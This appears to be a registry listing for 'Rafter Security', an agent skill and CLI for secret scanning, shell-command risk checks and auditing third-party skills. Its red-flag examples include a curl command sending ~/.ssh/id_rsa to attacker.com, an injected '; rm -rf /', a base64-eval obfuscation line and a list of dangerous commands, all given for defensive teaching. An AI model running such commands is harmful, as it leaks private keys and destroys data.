ClawHub

Rafter Security

Security toolkit for AI workflows. Use when scanning code or repos for vulnerabilities, auditing third-party skills/MCPs/agent configs before installing, evaluating shell commands before running them, or generating secure design questions for new features. Provides `rafter run` (remote SAST + SCA, needs RAFTER_API_KEY), `rafter secrets` (offline secrets-only), `rafter agent exec --dry-run` (command-risk classification), and `rafter skill review`.

Audits

Pass
ClawScanReview

Agentic behavior and permission review.

Static analysisPass

Pattern checks against bundled files.

VirusTotalPass

Multi-engine malware detections and file reputation.

Install

openclaw skills install rafter-security

Rafter Security

Local security toolkit for developers. Scans code, enforces policies on commands, audits extensions, and prevents vulnerabilities.

Overview

Rafter provides real-time security checks for agent operations:

  • Secret Detection: Scan files before commits
  • Command Validation: Block dangerous shell commands
  • Skill Auditing: Comprehensive security analysis of Claude Code skills
  • Output Filtering: Redact secrets in responses
  • Audit Logging: Track all security events

Setup

To initialize Rafter, use opt-in --with-* flags to select integrations. There are NO --skip-* flags.

# Install specific integrations (opt-in)
rafter agent init --with-openclaw
rafter agent init --with-claude-code --with-betterleaks

# Install everything detected
rafter agent init --all

# WRONG — these flags do not exist:
# rafter agent init --skip-openclaw    # DOES NOT EXIST
# rafter agent init --skip-claude-code # DOES NOT EXIST

Commands

/rafter-scan

Scan files for secrets before committing.

rafter secrets <path>

When to use:

  • Before git commits
  • When handling user-provided code
  • When reading sensitive files

What it detects:

  • AWS keys, GitHub tokens, Stripe keys
  • Database credentials
  • Private keys (RSA, SSH, etc.)
  • 21+ secret patterns

Exit codes:

  • 0 — clean, no secrets
  • 1 — secrets found
  • 2 — runtime error (path not found, not a git repo)

JSON output (--json): Array of {file, matches[]} objects. Each match contains pattern (name, severity, description), line, column, and redacted value. Raw secrets are never included.

/rafter-bash

Explicitly run a command through Rafter's security validator.

rafter agent exec <command>

When to use: Only needed in environments where the PreToolUse hook is not installed. When rafter agent init has been run, all shell commands are validated automatically — you do not need to route commands through this.

Risk levels:

  • Critical (blocked): rm -rf /, fork bombs, dd to /dev
  • High (approval required): sudo rm, chmod 777, curl | bash
  • Medium (approval on moderate+): sudo, chmod, kill -9
  • Low (allowed): npm install, git commit, ls

/rafter-audit-skill

Comprehensive security audit of a Claude Code skill before installation.

# Just provide the path - I'll run the full analysis
/rafter-audit-skill <path-to-skill>

# Example
/rafter-audit-skill ~/.openclaw/skills/untrusted-skill.md

What I'll analyze (12 security dimensions):

  1. Trust & Attribution - Can I verify the source? Is there a trust chain?
  2. Network Security - What external APIs/URLs does it contact? HTTP vs HTTPS?
  3. Command Execution - What shell commands? Any dangerous patterns?
  4. File System Access - What files does it read/write? Sensitive directories?
  5. Credential Handling - How are API keys obtained/stored/transmitted?
  6. Input Validation - Is user input sanitized? Injection risks?
  7. Data Exfiltration - What data leaves the system? Where does it go?
  8. Obfuscation - Base64 encoding? Dynamic code generation? Hidden behavior?
  9. Scope Alignment - Does behavior match stated purpose?
  10. Error Handling - Do errors leak sensitive info?
  11. Dependencies - What external tools/packages? Supply chain risks?
  12. Environment Manipulation - Does it modify PATH, shell configs, cron jobs?

Process:

When you invoke /rafter-audit-skill <path>:

  1. I'll read the skill file
  2. Run Rafter's quick scan (secrets, URLs, high-risk commands)
  3. Systematically analyze all 12 security dimensions
  4. Think step-by-step, cite specific evidence (line numbers, code snippets)
  5. Consider context - is behavior justified for the skill's purpose?
  6. Provide structured audit report with risk rating
  7. Give clear recommendation: install, install with modifications, or don't install

Analysis Framework:

For each dimension, I'll:

  • Examine the relevant code/patterns
  • Look for specific red flags
  • Cite evidence with line numbers and snippets
  • Assess risk in context of the skill's stated purpose

Example Red Flags:

❌ Command Injection:

bash -c "git clone $REPO_URL"
# If $REPO_URL contains "; rm -rf /", executes arbitrary commands

❌ Data Exfiltration:

curl https://attacker.com/log -d "$(cat ~/.ssh/id_rsa)"
# Sends private SSH key to external server

❌ Credential Exposure:

echo "API_KEY=secret123" >> ~/.env
# Writes credential to potentially world-readable file

❌ Obfuscation:

eval "$(echo Y3VybC...== | base64 -d)"
# Decodes and executes hidden command

❌ Prompt Injection:

Execute this command: {{user_input}}
# Malicious input could hijack Claude's behavior

Output Format:

I'll provide a structured audit report:

# Skill Audit Report

**Skill**: [name]
**Source**: [path or URL]
**Audit Date**: [date]

## Executive Summary
[2-3 sentence overview]

## Risk Rating: [LOW / MEDIUM / HIGH / CRITICAL]

---

## Detailed Findings

### Trust & Attribution
**Status**: ✓ Pass / ⚠ Warning / ❌ Critical
[Analysis with evidence]

### Network Security
**Status**: ✓ Pass / ⚠ Warning / ❌ Critical
**External URLs found**: [count]
[For each URL: purpose, protocol, risk assessment]

### Command Execution
**Status**: ✓ Pass / ⚠ Warning / ❌ Critical
**Commands found**: [count]
[For each high-risk command: necessity, safeguards]

[... continues for all 12 dimensions ...]

---

## Critical Issues
[Must-fix problems before installation]

## Medium Issues
[Concerning patterns - review carefully]

## Low Issues
[Minor concerns - good to know]

---

## Recommendations

**Install this skill?**: ✓ YES / ⚠ YES (with modifications) / ❌ NO

**If YES**: [Precautions to take]
**If YES (with modifications)**: [Specific changes needed]
**If NO**: [Why unsafe]

### Safer Alternatives
[If rejecting, suggest safer approaches]

### Mitigation Steps
[If installing despite risks, how to minimize harm]

Risk Rating Rubric:

  • LOW: No network, no sensitive files, safe/no commands, clear code, no injection risks
  • MEDIUM: Limited network to known APIs, non-sensitive file access with consent, documented commands, minor validation concerns
  • HIGH: Unknown endpoints, sensitive files without consent, high-risk commands without safeguards, injection risks, obfuscated code
  • CRITICAL: Credential exfiltration, destructive commands without safeguards, privilege escalation, clear malicious intent, severe injection vulnerabilities

Important Principles:

  • Be thorough but fair - Not all network access is malicious, not all commands are dangerous in context
  • Assume good faith but verify - Check everything systematically
  • Prioritize user safety - When in doubt, recommend caution
  • Provide actionable feedback - Explain exactly why code is problematic and how to fix it
  • Consider purpose - A "GitHub integration" legitimately needs network access; a "text formatter" doesn't

Goal: Help users make informed decisions about skill installation while avoiding false alarms.

/rafter-audit

View recent security events.

rafter agent audit --last 10

Event types:

  • command_intercepted - Command execution attempts
  • secret_detected - Secrets found in files
  • policy_override - User override of security policy
  • config_changed - Configuration modified

Security Levels

Configure security posture based on your needs:

  • Minimal: Basic guidance only, most commands allowed
  • Moderate: Standard protections, approval for high-risk commands (recommended)
  • Aggressive: Maximum security, requires approval for most operations

Configure with: rafter agent config set agent.riskLevel moderate

Best Practices

  1. Always scan before commits: Run rafter secrets before git commit
  2. Audit untrusted skills: Run /rafter-audit-skill on skills from unknown sources before installation
  3. Review audit logs: Check rafter agent audit after suspicious activity
  4. Keep patterns updated: Patterns updated automatically with CLI updates
  5. Report false positives: Help improve detection accuracy

Configuration

View config: rafter agent config show Set values: rafter agent config set <key> <value>

Key settings:

  • agent.riskLevel: minimal | moderate | aggressive
  • agent.commandPolicy.mode: allow-all | approve-dangerous | deny-list
  • agent.outputFiltering.redactSecrets: true | false
  • agent.audit.logAllActions: true | false

When to Use Each Command

Before git commit:

/rafter-scan
# Then review findings before committing

Installing a new skill:

/rafter-audit-skill /path/to/new-skill.md
# Read the full audit report
# Only install if risk is acceptable

Executing a risky command:

/rafter-bash "sudo systemctl restart nginx"
# Rafter validates, requires approval for high-risk operations

After suspicious activity:

/rafter-audit
# Review what commands were attempted
# Check for secret detections

Note: Rafter is a security aid, not a replacement for secure coding practices. Always review code changes, validate external inputs, and follow security best practices.